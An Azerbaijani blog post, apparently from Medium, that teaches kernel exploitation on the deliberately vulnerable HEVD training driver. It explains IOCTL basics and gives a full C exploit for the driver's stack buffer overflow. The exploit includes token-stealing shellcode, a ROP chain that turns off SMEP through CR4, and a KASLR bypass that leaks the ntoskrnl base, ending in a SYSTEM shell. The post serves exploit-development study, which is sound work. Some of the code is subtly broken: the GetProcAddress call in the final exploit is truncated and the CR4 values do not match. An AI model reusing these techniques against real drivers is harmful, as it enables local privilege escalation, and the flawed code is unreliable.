Windows mitigation-ları ilə mübarizə apararaq kernel driver exploit etmək
Çoxlu sınaq və səhvdən sonra, çox güman ki, heç kimin oxumayacağı bu blog yazısını yazmaq qərarına gəldim. Amma kimsə bu mövzu ilə maraqlanırsa, düşünürəm ki, kifayət qədər faydalı olacaq.
TLDR: Zəif (vulnerable) bir Windows kernel driver var (Hacksys-in Vulnerable Driver-i) və oradakı zəifliklərdən biri stack based buffer overflow adlanır. Mən KASLR və SMEP-i bypass edərək SYSTEM səlahiyyətləri əldə etmək üçün işlək bir exploit hazırladım.
HEVD nədir?
The HackSys Extreme Vulnerable Driver (HEVD) is a Windows Kernel driver that is intentionally vulnerable. It has been developed for security researchers and enthusiasts to improve their skills in kernel-level exploitation.
GitHub - hacksysteam/HackSysExtremeVulnerableDriver: HackSys Extreme Vulnerable Driver (HEVD) …
HackSys Extreme Vulnerable Driver (HEVD) - Windows & Linux - hacksysteam/HackSysExtremeVulnerableDriver
Mühit belə olacaq:
1) Debugger VM (Ghidra və WinDbg quraşdırılmış Windows 10)
2) Debuggee VM (kdnet ilə win10-un windbg-sinə qoşulub və HEVD yüklənib)
HEVD-nin necə deploy edildiyini və ya PDB fayllarının necə import olunduğunu addım-addım izah etmək istəmirəm, amma əvvəlcədən deyə biləcəyim bir şey var: HEVD-ni yükləmək üçün OSR Loader lazım deyil, onu sadəcə service kimi işlədə bilərsiniz.
Həmçinin, win10 əvəzinə qurban VM (debuggee VM) kimi Windows 7 də istifadə edə bilərsiniz, çünki win7-də müasir mitigation-ların əksəriyyəti yoxdur və bu, exploit-imizi işlətmək baxımından işimizi asanlaşdırır. Hər halda, davam edək.
Driver ilə ümumiyyətlə necə danışırsan?
Bu, əslində kompüterinizin privilege səviyyəsidir. Kernel mode-dan (Ring 0) User mode-a (Ring 3) qədər. Bu ring-lərdə nə qədər dərinə getsəniz, privilege-lər bir o qədər yüksək olur. Bilməli olduğunuz daha bir açar söz “Driver”-dir.
Driver sadəcə bir kod parçasıdır və adətən kompüterinizin əməliyyat sistemi ilə qoşulmuş hardware arasında tərcüməçi kimi istifadə olunur. Qoşduğunuz cihazların kompüteriniz tərəfindən tanınmasının səbəbi budur.
Windows driver-ləri əsasən harada işlədiklərinə görə bölünür: kernel-də (tam sistem privilege-ləri) və ya user space-də (sandbox-lanmış, məhdud privilege-lər).
Kernel Mode Driver-lər memory-yə məhdudiyyətsiz giriş əldə edə və birbaşa hardware ilə danışa bilər. Disk driver-ləri, şəbəkə kartı driver-ləri, antivirus/EDR filtrləri və sistemin dərinliyinə hook edən hər şey buna nümunə ola bilər.
Amma burada nəsə crash verərsə, bu, BSOD-a (Blue screen of death) səbəb olur.
User Mode Driver-lər normal process kimi sandbox-lanıb. Biri crash verərsə, yalnız həmin driver-in process-i ölür — OS işləməyə davam edir. Onlar dərin hardware girişi tələb etməyən şeylər üçün istifadə olunur: USB periferiya qurğuları, printerlər, kameralar və s. Daha təhlükəsiz və sabitdir, amma toxuna biləcəkləri şeylər məhduddur.
Daha ətraflı məlumat üçün bunu oxuyun: Windows Internals Part 1
Qeyd: Bizim nümunəmizdə HEVD driver-i hardware üçün istifadə olunmur, o, tamamilə software driver-dir, amma kernel space-də işləyir. Sadəcə onu service kimi başladırsınız və hamısı budur.
İndi, bildiyiniz kimi, user mode ilə kernel mode arasında CPU tərəfindən tətbiq olunan sərt bir divar var. Ona görə də bu exploit-in bütün məqsədi kodumuzu həmin divarın o biri tərəfində (kernel-də) işlətməkdir.
Bəs user mode-dan kernel driver ilə necə danışmalı?
- Driver-i fayl kimi açın. CreateFile yadınızdadır? Bu, eyni şeydir, sadəcə bu dəfə fayl açmaq əvəzinə driver açırsınız və gözlənildiyi kimi, o sizə həmin driver-ə handle verəcək.
- Ona DeviceIOControl ilə mesaj göndərin. Microsoft-a görə:
DeviceIOControl sends a control code directly to a specified device driver, causing the corresponding device to perform the corresponding operation.
DeviceIOControl IOCTL-in (control code) köməyi ilə əlaqə qurur. IOCTL əslində sadəcə driver müəllifinin hər əməliyyata təyin etdiyi rəqəmdir. Amma bu, sadə təsadüfi rəqəm deyil, onun müəyyən mənası var.
Daha ətraflı bunu oxuyun: IOCTL codes.
Beləliklə, bu mərhələdə başa düşürük ki, əlaqə təxminən belə baş verir: DeviceIOControl(handle, IOCTL number, our_data_buffer….).
Sorğunu göndərdikdən sonra proses belə gedir:
1) O, Windows I/O Manager-ə gedir. I/O manager yeganə komponent deyil. Power manager, PnP manager və s. də var. Amma I/O sorğularının əsas emalı I/O Manager-in köməyi ilə həyata keçirilir.
2) I/O manager sorğunuzu IRP adlanan xüsusi formatda paketləyir. IRP əslində sizin IOCTL rəqəminizi, buffer-inizi və onun ölçüsünü saxlayan bir zərfdir. Bunun veb analogiyası serialization məntiqi olardı.
3) IRP driver-ə çatdıqda, I/O Manager driver-in dispatch table-ına baxır. Bu cədvəl hər IRP-ni düzgün handler routine-ə yönləndirmək üçün mövcuddur, çünki driver birdən çox növ sorğu ilə işləməlidir. Hər sorğu onun nə olduğunu bildirən major function code daşıyır. Əgər driver-i CreateFile ilə açmısınızsa, bu, IRP_MJ_CREATE-dir. Bizim halda DeviceIoControl ilə IOCTL göndəririk, deməli kod IRP_MJ_DEVICE_CONTROL-dur və I/O Manager dispatch table-da məhz bu girişi axtarır.
Dispatch table əslində sadəcə function pointer-lərdən ibarət array-dir və major function code ona index-dir. Yəni IRP_MJ_DEVICE_CONTROL sadəcə etiket deyil — bu, hərfi mənada I/O Manager-in driver-in device-control handler-ini tapmaq və çağırmaq üçün istifadə etdiyi slot nömrəsidir.
Amma handler hələ də hansı IOCTL göndərdiyinizi və buffer-inizin harada olduğunu bilməlidir. I/O stack location məhz bunun üçündür. IRP hərəkət edərkən hər driver üçün ayrıca məlumat slotu daşıyır — IO_STACK_LOCATION — və driver öz cari slotunu IoGetCurrentIrpStackLocation ilə oxuyur. Həmin slotun içində real IOCTL kodunu (Parameters.DeviceIoControl.IoControlCode), input buffer-i və onun uzunluğunu tapır.
4) Driver IOCTL kodunu aldıqdan sonra həmin IOCTL-ə aid function, yəni handler işə düşəcək (hədəfimiz məhz budur).
5) Handler işini bitirdikdə IoCompleteRequest-i çağırır və I/O Manager status ilə output-u geri sizin DeviceIoControl çağırışınıza qaytarır.
Qeyd: Unutmayın ki, IoCompleteRequest hər IRP üçün yalnız bir dəfə işlədilməlidir.
Gəlin driver-imizlə əlaqə quraq
Əvvəlcə əsas driver faylı olan HEVD.sys faylını anlamalıyıq. Hələlik onu win10 debuggee maşınına yükləməyə ehtiyac yoxdur, win10 debugger-də analiz etmək kifayətdir.
Xoşbəxtlikdən, sys faylı ilə birlikdə PDB faylı da gəlir. PDB-nin köməyi ilə function adlarını və s. daha asan görə bilərik. Hansı disassembler istifadə etməyinizdən asılı olmayaraq, pdb faylınızı import etməyi unutmayın.
HEVD faylının x64 versiyasını seçməlisiniz. Onu github-dan yüklədiyinizdə zip faylının içində müxtəlif versiyalar görəcəksiniz, hansının lazım olduğunu tapmaq üçün sadəcə google edin. Yadda saxlayın ki, bizə Windows 10 x64 bit versiyası lazımdır.
Addım 1: Əsas function-un (DriverEntry) analizi
Mən Ghidra ilə gedirəm, amma öz seçdiyiniz disassembler-i istifadə etməkdə sərbəstsiniz.
Burada driver dispatch table, driver device object və s. yaradılır.
Bilirəm, bir az qarışıq ola bilər, ona görə də sadə saxlayaq.
IOCTL sorğusu edildikdə IrpDeviceIoCtlHandler işə düşəcək. IrpDeviceIoCtlHandler-in içində isə IOCTL kodunuzdan asılı olaraq hansı function-un işləyəcəyinə qərar veriləcək.
Addım 2: Zəif function-un tapılması (TriggerBufferOverflowStack)
Görürük ki, zəif function-umuz 0x222003 ünvanındadır. Bu o deməkdir ki, bu function-a qoşulduğumuzda DeviceIOControl function-unda IOCTL kodu olaraq 0x222003 göndərməliyik.
Burada görürük ki, o, sizin input-unuzu və input-unuzun uzunluğunu götürüb TriggerBufferOverflowStack üçün arqument kimi ötürür. Əgər bu uğursuz olarsa, lvar2 0xC0000001-ə bərabər olacaq ki, bu da STATUS_UNSUCCESSFUL deməkdir. Bu, IRP sorğusunun statusudur.
Burada görürük ki, istifadəçi input-u üçün 2048 bayt ayrılıb. Amma memcpy işə düşdükdə ölçünü bizim input-umuzdan götürür. (Bunu disassemble-dan görə bilərsiniz.) Bu, Stack based buffer overflow zəifliyidir.
Stack buffer overflow: when a program writes more data into a fixed-size buffer on the stack than it can hold, so the excess spills over adjacent stack memory -including the saved return address, which an attacker overwrites to hijack execution.
Addım 3: Nümunə data göndərmək və memory-ni analiz etmək
Data göndərməzdən əvvəl əmin olun ki:
1) debugger VM-inizin windbg-si debuggee VM-ə attach olunub
2) PDB faylları windbg-də yüklənib
3) HEVD.sys debuggee VM-də yüklənib
Gəlin sadə bir simvol göndərək və onun stack-də necə göründüyünə baxaq:
- WinDbg ilə breakpoint əlavə edin
- Sadə C kodunu host maşınınızda compile edin
- Onu debuggee VM-inizdə (hədəf maşınınızda) işlədin
In Windbg:
lm m HEVD // Check if your modules are loaded, if not, use .reload /f. You should not see deferred.
bp HEVD!TriggerBufferOverflowStack // It is possible to not see the disassembled version yet, but don't worry, just add the breakpoint, it will be loaded
g
p // After break triggers, use this command to step over until you reach memcpy
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <windows.h>
int main()
{
HANDLE hHEVD = NULL;
DWORD bytesReturned = 0;
hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hHEVD == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
return -1;
}
char payload[5] = "AAAA";
DeviceIoControl(hHEVD,0x222003,payload,sizeof(payload),NULL,0x00,&bytesReturned,NULL);
}
x86_64-w64-mingw32-gcc <your_code>.c -o <output_name>.exe // If you use linux
Bunu işlətdikdən sonra windbg bizim function-da break edəcək. Ya birbaşa bu function-un memcpy-sinə breakpoint qoya bilərsiniz, ya da function-a breakpoint qoyub memcpy-yə çatana qədər step over edə bilərsiniz.
Görürük ki, buffer-imizin address-i, kernel-dəki address (buffer-imizin kopyalanacağı yer) və buffer-imizin ölçüsü müvafiq register-lərə yerləşdirilib.
memcpy-dən sonra kernel stack address-imizə (rcx-də yerləşirdi) baxsaq, buffer-imizi uğurla görəcəyik.
Addım 4: RIP register üçün offset tapmaq
İndi buffer-imizin harada saxlandığını bildiyimiz üçün onu necə overflow edə biləcəyimizi tapmalıyıq. Overflow-umuzun məqsədi RIP register-ini overwrite edərək icranı istədiyimiz yerə yönləndirməkdir.
Bunu etmək üçün nə vaxt overflow olacağını görmək məqsədilə simvol pattern-indən istifadə edəcəyik.
#include <windows.h>
#include <stdio.h>
int gen_pattern(char *buf, int len) {
int i = 0;
for (char a = 'A'; a <= 'Z' && i < len; a++)
for (char b = 'a'; b <= 'z' && i < len; b++)
for (char c = '0'; c <= '9' && i < len; c++) {
if (i + 2 < len) { buf[i++]=a; buf[i++]=b; buf[i++]=c; }
}
return i;
}
int main() {
HANDLE hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
if (hHEVD == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open handle: %lu\n", GetLastError());
return 1;
}
char buffer[3000];
int len = gen_pattern(buffer, sizeof(buffer));
DWORD bytesReturned;
DeviceIoControl(hHEVD, 0x222003, buffer, len,
NULL, 0, &bytesReturned, NULL);
return 0;
}
Bu, 3000 simvol ölçüsündə (buffer ölçüsündən böyük rəqəm seçin) pattern-lə təsadüfi simvollar göndərəcək. Amma bu pattern-i msfvenom və s. ilə də yarada bilərsiniz, seçim sizindir.
Həmçinin neçə simvoldan sonra RIP-i overwrite edə biləcəyimizi tapmaq üçün TriggerBufferOverflowStack function-unun assembly koduna da baxa bilərsiniz. Amma pattern daha asan və başa düşülən metoddur.
Bizim halda stack belə görünür. İndi gəlin TriggerBufferOverflowStack-in sonuna breakpoint qoyaq (ya uf HEVD!TriggerBufferOverflowStack ilə runtime address-i əldə edin, ya da function-a breakpoint qoyub p ilə RET instruction-a çatana qədər step over edin) və neçə simvoldan sonra RIP-i overwrite etdiyimizi tapmaq üçün offset detector kodumuzu işlədək.
İndi görürük ki, RSP göndərdiyimiz pattern-ə oxşayan bəzi təsadüfi simvollardır. Birinci sətir RIP-ə köçürüləcək. Bundan sonra bu pattern-in 3000 simvolluq buffer-imizdəki offset-ini tapırıq. Bunun üçün istifadə edə biləcəyiniz çoxlu alət var, amma mən bu saytdan istifadə edirəm.
https://zerosum0x0.blogspot.com/2016/11/overflow-exploit-pattern-generator.html
Pattern-i bu saytla da generate edə bilərsiniz, fərqi yoxdur. Bizim kod, msfvenom və bu sayt eyni şeyi yaradır.
İndi tapdıq ki, 2072 simvoldan sonra RIP-i overwrite etməyə başlayırıq.
Əgər RIP-i overwrite etsək, istənilən address əlavə edib onu işlədə bilərik. İndi bunu bir dəqiqəlik belə saxlayaq və shellcode-umuza fokuslanaq. Əgər indi məntiqli gəlmirsə, narahat olmayın, sonda etdiklərimizin bütöv xəritəsi var.
Addım 5: Öz shellcode-umuzu yaratmaq və Token Stealing-i anlamaq.
Bir bayt belə yazmazdan əvvəl nə etdiyimizi və niyə etdiyimizi aydınlaşdıraq.
Exploit process-imiz debuggee-də normal, aşağı privilege-li istifadəçi kimi işləyir. Əslində istədiyimiz şey SYSTEM kimi işləyən shell-dir — Windows-da ən yüksək privilege səviyyəsi, hətta Administrator-dan da yüksək. SYSTEM daxil olduğunuz hesab deyil; bu, OS-in özünün və onun əsas service-lərinin işlədiyi kontekstdir. Yəni onu sadəcə istəyə bilmərik. Onu almalıyıq.
Bunu mümkün edən əsas fikir budur: RIP-i overwrite etdikdə icranı kernel space-ə (ring 0) yönləndirəcəyik. Ring 0-da isə adi privilege sərhədləri mövcud deyil — kernel kodu istənilən process-in memory-sini, o cümlədən OS-in özününkünü oxuya və yaza bilər. Yəni shellcode-umuz işə düşən an biz artıq məhdud istifadəçi proqramı deyilik; sistemin memory-si üzərində tam nəzarətə malik kodyuq.
Bəs bunu necə edirik? Əslində olduqca sadədir. Hər process-in kernel-də EPROCESS adlanan strukturu var və onun içində token yerləşir. Bunu process-in şəxsiyyət vəsiqəsi kimi düşünün — hansı privilege-lərə malik olduğunu dəqiq təsvir edir. Bizim aşağı privilege-li process-imizin zəif vəsiqəsi var. SYSTEM process-inin isə istədiyimiz vəsiqəsi var.
Planımız sadədir: process-ləri enumerate edərək SYSTEM process-ini tapırıq və sonra onun token-ini öz process-imizə kopyalayırıq. Biz yoxdan privilege yaratmırıq — sadəcə öz token-imizi SYSTEM-inki ilə dəyişirik. Process-imiz SYSTEM token-inə işarə etdikdən sonra Windows onu SYSTEM kimi qəbul edir və ondan yaratdığımız istənilən shell bunu miras alır. Bu texnika token stealing adlanır və yazacağımız shellcode məhz bunu addım-addım edir.
BITS 64
push rax
push rcx
push rdx
mov rax, gs:[0x188] ; current _KTHREAD
mov rax, [rax+0x220] ; _KTHREAD.Process -> current _EPROCESS
mov rcx, rax ; save current _EPROCESS
mov rdx, 4 ; SYSTEM PID
find_system:
mov rax, [rax+0x448] ; ActiveProcessLinks.Flink
sub rax, 0x448 ; back to _EPROCESS base
cmp [rax+0x440], rdx ; UniqueProcessId == 4 ?
jne find_system
mov rdx, [rax+0x4b8] ; SYSTEM token
mov [rcx+0x4b8], rdx ; overwrite our token
pop rdx
pop rcx
pop rax
ret
Bu token stealer shellcode nə edir:
1) istifadə etdiyimiz register-ləri stack-ə push edir.
2) cari _KTHREAD-i gs:[0x188] ilə saxlayır. Amma bu, müxtəlif Windows versiyalarında fərqlidir, ona görə də onu windbg-də özünüz tapmalısınız. Sadəcə google edin.
3) KTHREAD KPROCESS-i saxlayır. Amma narahat olmayın, KPROCESS və EPROCESS eyni offset-dən başlayır, sadəcə EPROCESS daha böyükdür.
4) EPROCESS-i saxladıqdan sonra rdx-də 4 saxlayırıq. Bunun səbəbi SYSTEM process-inin id-sinin 4 olmasıdır.
5) Process-ləriniz double linked list formatında bir-birinə bağlıdır. Yəni iterasiya edib hər process-in UniqueProcessId sahəsinə baxmalıyıq. Əgər 4-dürsə, davam edirik; deyilsə, növbəti process-ə keçirik.
6) Onu tapdıqdan sonra həmin process-in token-ini götürüb öz process-imizin token sahəsinə yazmalıyıq.
İndi bu shellcode-u memory-də saxlamalı və RIP-imizi shellcode-umuzun address-inə yönləndirməliyik — və vualya, elə deyilmi? Hələ yox, hələ yox.
Budur SMEP gəlir
Intel® Supervisor Mode Execution Protection (SMEP) is a mechanism that provides the next level of system protection by blocking malicious software attacks from user mode code when the system is running in the highest privilege level. This technology helps to protect from virus attacks and unwanted code from harming the system.
Dedik ki, shellcode-u memory-də saxlayırıq — bəs dəqiq harada? Exploit-imiz normal user-space process kimi işləyir, deməli sərbəst allocate edib yaza biləcəyimiz yeganə memory öz process-imizin user-space memory-sidir. Shellcode oraya gedir.
Amma bir problem var. RIP overwrite sayəsində kodumuz kernel mode-da işləməyə başlayacaq. Yəni biz ring 0-da oturub user-mode səhifəsində yerləşən shellcode-a jump etməyə çalışacağıq. Windows 7-də bu mükəmməl işləyirdi — CPU onu məmnuniyyətlə işlədirdi. Windows 10 və 11-də isə işləmir və bu divar SMEP-dir (Supervisor Mode Execution Prevention).
SMEP sadə bir qaydanı tətbiq edən CPU xüsusiyyətidir: prosessor kernel mode-da işləyərkən user-mode kimi işarələnmiş heç bir səhifəni execute etməyəcək. Hardware illərdir mövcuddur, amma müasir Windows onu default olaraq aktiv edir, köhnə versiyalar isə etmirdi — məhz buna görə Win7-də işləyən eyni fənd Win10-da dərhal bugcheck-ə səbəb olur. Kernel mode-dakı RIP-imiz user-space shellcode-umuza düşən an CPU fault verir və sistem crash olur.
Bunun yolu CR4 adlanan control register-in mövcud olmasıdır.
Control register CPU və ya digər rəqəmsal cihazın ümumi davranışını dəyişən və ya idarə edən processor register-dir. Onun 31 biti var və hər bitin mənası var.
20-ci bit SMEP bitidir (kernel user səhifələrini execute edə bilməz). Bunu açar kimi düşünün: əgər CR4 register-də bu açarı hansısa yolla söndürsək, SMEP-i söndürüb shellcode-umuzu kernel-dən işlədə bilərik.
Gəlin WinDbg-də cr4 register-in nə saxladığına baxaq.
0 indeksindən başlayaraq 20-ci bitə baxsaq, onun 1 olduğunu görürük. Sadəcə onu 0-a çevirin və nəticədə hansı hex alındığına baxın. Mənim kimi bitwise əməliyyat biliyiniz zəifdirsə, bunu onlayn alətlərlə edə bilərsiniz.
İndi CR4-ə yazmalı olduğumuz dəyəri bilirik. Əgər cr4-ü öz shellcode-umuzda dəyişmək qərarına gəlsək, bu işləməyəcək, çünki shellcode-umuzu bloklayan mitigation-ı söndürmək üçün elə həmin shellcode-dan istifadə edə bilmərik.
Deməli bizə CR4 yazısını bizim üçün edəcək, kernel mode-da işləməyə artıq icazəsi olan nəsə lazımdır. Kernel image (ntoskrnl.exe) supervisor-mode səhifəsidir, ona görə də SMEP onu işlətməkdən tamamilə razıdır. Məhz burada ROP chain işə düşür: CR4-ü təmizləmək üçün öz kodumuzu yazmaq əvəzinə, kernel-in öz kodundan kiçik parçalar (gadget-lər) götürüb onları zəncirləyirik ki, bizim üçün mov cr4, <SMEP-off value> əməliyyatını yerinə yetirsinlər. SMEP söndürüldükdən sonra yalnız o zaman icra nəhayət shellcode-umuza keçə bilər.
Qeyd: ROP chain-i izah etmək bu bloqu xeyli böyüdərdi, ona görə də onu özünüz öyrənməlisiniz. Hələ bilmirsinizsə, öyrənin və qaldığınız yerdən oxumağa davam edin.
ROP chain planımız belədir:
rcx = ba50ef8 -> cr4 = rcx -> cr4 = ba50ef8.
Bundan sonra RIP uğurla shellcode-umuzun address-inə jump edəcək.
Amma gadget-lərin address-ini tapmalıyıq. (pop rcx ; ret və mov cr4, rcx; ret).
KASLR də gəlir
KASLR Kernel Address Space Layout Randomization deməkdir. Bu, hər sistem açılışında əməliyyat sisteminin kernel kodunun və datasının memory address yerlərini təsadüfi düzən müdafiə mexanizmidir.
Bu o deməkdir ki, bu gadget address-lərinə sadəcə windbg-dən baxıb kodumuzda istifadə edə bilmərik. Bunun əvəzinə offset-ləri tapmalıyıq. Bu gadget-ləri əsas kernel executable-ı olan ntoskrnl-dən götürəcəyik. Planımız belədir:
1) ntoskrnl-in base address-ini leak etmək
2) Gadget-in offset-ini tapmaq
3) base address + gadget-in offset-i = bizə lazım olan budur
Bəs ntoskrnl-i necə leak etmək olar?
ntoskrnl-i leak etməyin 2 yolu var: EnumDeviceDrivers və ya NtQuerySystemInformation. Mən ikinci metoddan istifadə edəcəyəm.
#include <stdio.h>
#include <windows.h>
typedef NTSTATUS(NTAPI* pNtQuerySystemInformation)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
#define SystemModuleInformation 0x0B
typedef struct _SYSTEM_MODULE{
PVOID Reserved[2];
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
CHAR FullPathName[256];
}SYSTEM_MODULE, *PSYSTEM_MODULE;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG ModulesCount;
SYSTEM_MODULE Modules[1];
}SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
int main(){
pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"),"NtQuerySystemInformation");
if (!NtQuerySystemInformation){
printf("coudln't resolve NtQuerySystemInformation\n");
return 1;
}
ULONG len = 0;
NtQuerySystemInformation(SystemModuleInformation,NULL,0,&len);
PVOID buf = malloc(len);
if(!buf) return 1;
NTSTATUS st = NtQuerySystemInformation(SystemModuleInformation, buf, len, &len);
if (st != 0) {
printf("[-] NtQuerySystemInformation failed: 0x%X\n", st);
free(buf);
return 1;
}
PSYSTEM_MODULE_INFORMATION modInfo = (PSYSTEM_MODULE_INFORMATION)buf;
printf("[*] loaded kernel modules: %lu\n", modInfo->ModulesCount);
PVOID ntBase = modInfo->Modules[0].ImageBase;
printf("[+] ntoskrnl base: 0x%p\n", ntBase);
free(buf);
return 0;
}
Həmçinin rop gadget-lərini tapmaq üçün rp++ alətindən istifadə edəcəyik.
İndi hər şey hazır olduğuna görə gəlin yekun exploit-imizi yaradaq.
Bərpa və test
Shellcode-umuza əlavə etməli olduğumuz daha bir şey var. SMEP və KASLR-i bypass etdik və shellcode-u işlədə bilirik, amma bir problemimiz var. Shellcode işlədikdən sonra o, hara qayıdacağını bilmir və bu, BSOD-a səbəb olur, exploit-iniz isə shell yarada bilmir. Ona görə də 3 sətir əlavə etməliyik. Amma unutmayın, sizin halınızda fərqli növ xətalarla qarşılaşa bilərsiniz və bu baş verdikdə onu özünüz həll etməlisiniz.
BITS 64
.....
find_system:
....
xor eax, eax
xor r12d, r12d
add rsp,0x10
ret
nasm -f bin x64_token_stealer.asm -o stealer.bin
xxd -i stealer.bin
Bu, exploit-inizdə istifadə edəcəyiniz shellcode-u verəcək
xor rax, rax → RAX-ı sıfıra bərabər edir. Windows x64 calling convention-a görə RAX function-un return value-sunu saxlayır. Bu çağırış yolundakı kernel function-ları NTSTATUS qaytarır və 0 = STATUS_SUCCESS. BufferOverflowStackIoctlHandler yadınızdadır? Onun qaytardığı məhz bu idi. Yəni bu sətir hijack edilmiş function-un öz çağıranına “uğurlu oldum” deməsini təmin edir.
xor r12d, r12d -> Təkcə STATUS_SUCCESS qaytarmaq kifayət deyil. RAX-da uğur olsa belə, maşın MULTIPLE_IRP_COMPLETE_REQUESTS ilə crash verəcək. (Xətanı !analyze -v əmri ilə analiz edə bilərsiniz.) Səbəbi budur.
Geri qayıdış yolunda icra IopSynchronousServiceTail adlanan kernel function-undan keçir. Onun işi I/O sorğunuzu yekunlaşdırmaqdır — və bu işin bir hissəsi “bu sorğu artıq tamamlanıb, yoxsa onu hələ də tamamlamalıyam?” sualına cavab verməkdir.
Problem burasındadır: o, bu qərarı r12 register-indəki dəyəri yoxlayaraq verir. Əgər r12 sıfırdırsa, “artıq işlənib, ona toxunmayacağam” deyə düşünür. Əgər r12 sıfırdan fərqlidirsə, “hələ bitirilməlidir” deyib IRP-ni özü tamamlayır.
Amma driver-in normal yolu həmin IRP-ni artıq tamamlayıb. Yəni biz keçərkən r12 təsadüfən sıfırdan fərqli olarsa, IRP ikinci dəfə tamamlanır — eyni IRP-nin iki dəfə tamamlanması isə məhz 0x44 bugcheck-i tetikləyən şeydir.
Bu IRP multiple request xətası mənim vəziyyətimdə baş verdi, amma sizin halınızda da baş verəcəyini bilmirəm, ona görə də bunu özünüz aydınlaşdırmalısınız.
add rsp, 0x10 → bu, shellcode-umuza BufferOverflowStackIoctlHandler-ə qayıtmasını demək üçündür. Bu offset-i windbg-də crash olduqdan sonra stack trace-dən tapa bilərsiniz.
Yekun Exploit
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <windows.h>
#define OFFSET 2072
#define POP_RCX_OFFSET 0x6296f3
#define MOV_CR4_RCX_OFFSET 0x3a0397
#define CR4_DISABLE_VALUE 0xa50ef8
typedef NTSTATUS(NTAPI* pNtQuerySystemInformation)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
#define SystemModuleInformation 0x0B
typedef struct _SYSTEM_MODULE{
PVOID Reserved[2];
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
CHAR FullPathName[256];
}SYSTEM_MODULE, *PSYSTEM_MODULE;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG ModulesCount;
SYSTEM_MODULE Modules[1];
}SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
void Ntoskrnl_base_leak(PVOID *ntBase)
{
pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"),
if (!NtQuerySystemInformation){
printf("coudln't resolve NtQuerySystemInformation\n");
return;
}
ULONG len = 0;
NtQuerySystemInformation(SystemModuleInformation,NULL,0,&len);
PVOID buf = malloc(len);
if(!buf) return;
NTSTATUS st = NtQuerySystemInformation(SystemModuleInformation, buf, len, &len);
if (st != 0) {
printf("[-] NtQuerySystemInformation failed: 0x%X\n", st);
free(buf);
return;
}
PSYSTEM_MODULE_INFORMATION modInfo = (PSYSTEM_MODULE_INFORMATION)buf;
*ntBase = modInfo->Modules[0].ImageBase;
free(buf);
}
int main()
{
HANDLE hHEVD = NULL;
LPVOID shellcode_addr = NULL;
DWORD bytesReturned = 0;
PVOID nt_base = NULL;
unsigned char shellcode[] = {
0x50, 0x51, 0x52, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00,
0x48, 0x8b, 0x80, 0x20, 0x02, 0x00, 0x00, 0x48, 0x89, 0xc1, 0xba, 0x04,
0x00, 0x00, 0x00, 0x48, 0x8b, 0x80, 0x48, 0x04, 0x00, 0x00, 0x48, 0x2d,
0x48, 0x04, 0x00, 0x00, 0x48, 0x39, 0x90, 0x40, 0x04, 0x00, 0x00, 0x75,
0xea, 0x48, 0x8b, 0x90, 0xb8, 0x04, 0x00, 0x00, 0x48, 0x89, 0x91, 0xb8,
0x04, 0x00, 0x00, 0x5a, 0x59, 0x58, 0x31, 0xc0, 0x45, 0x31, 0xe4, 0x48,
0x83, 0xc4, 0x10, 0xc3
};
unsigned int shellcode_len = 76;
hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hHEVD == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
return -1;
}
shellcode_addr = VirtualAlloc(NULL,
shellcode_len,
(MEM_COMMIT | MEM_RESERVE),
PAGE_EXECUTE_READWRITE);
memcpy(shellcode_addr, shellcode, shellcode_len);
unsigned char payload[OFFSET + 4 * 8];
memset(payload, 'A', OFFSET);
Ntoskrnl_base_leak(&nt_base);
unsigned long long *rop = (unsigned long long *)(payload + OFFSET);
rop[0] = nt_base + POP_RCX_OFFSET;
rop[1] = CR4_DISABLE_VALUE;
rop[2] = nt_base + MOV_CR4_RCX_OFFSET;
rop[3] = (ULONGLONG)shellcode_addr;
DeviceIoControl(hHEVD,
0x222003,
payload,
sizeof(payload),
NULL,
0x00,
&bytesReturned,
NULL);
system("cmd.exe");
}
Process-inizdə memory allocate edin -> Shellcode-unuzu ora inject edin -> Base address-i leak edin -> rop chain yaradın -> Yekun payload-unuzu HEVD-yə göndərin -> cmd.exe-ni açın
Oxuduğunuz üçün təşəkkürlər.
--
cushz :: Exploit development, reverse engineering və Windows internals haqqında yazılar.
İlk dəfə Medium saytında dərc olunub.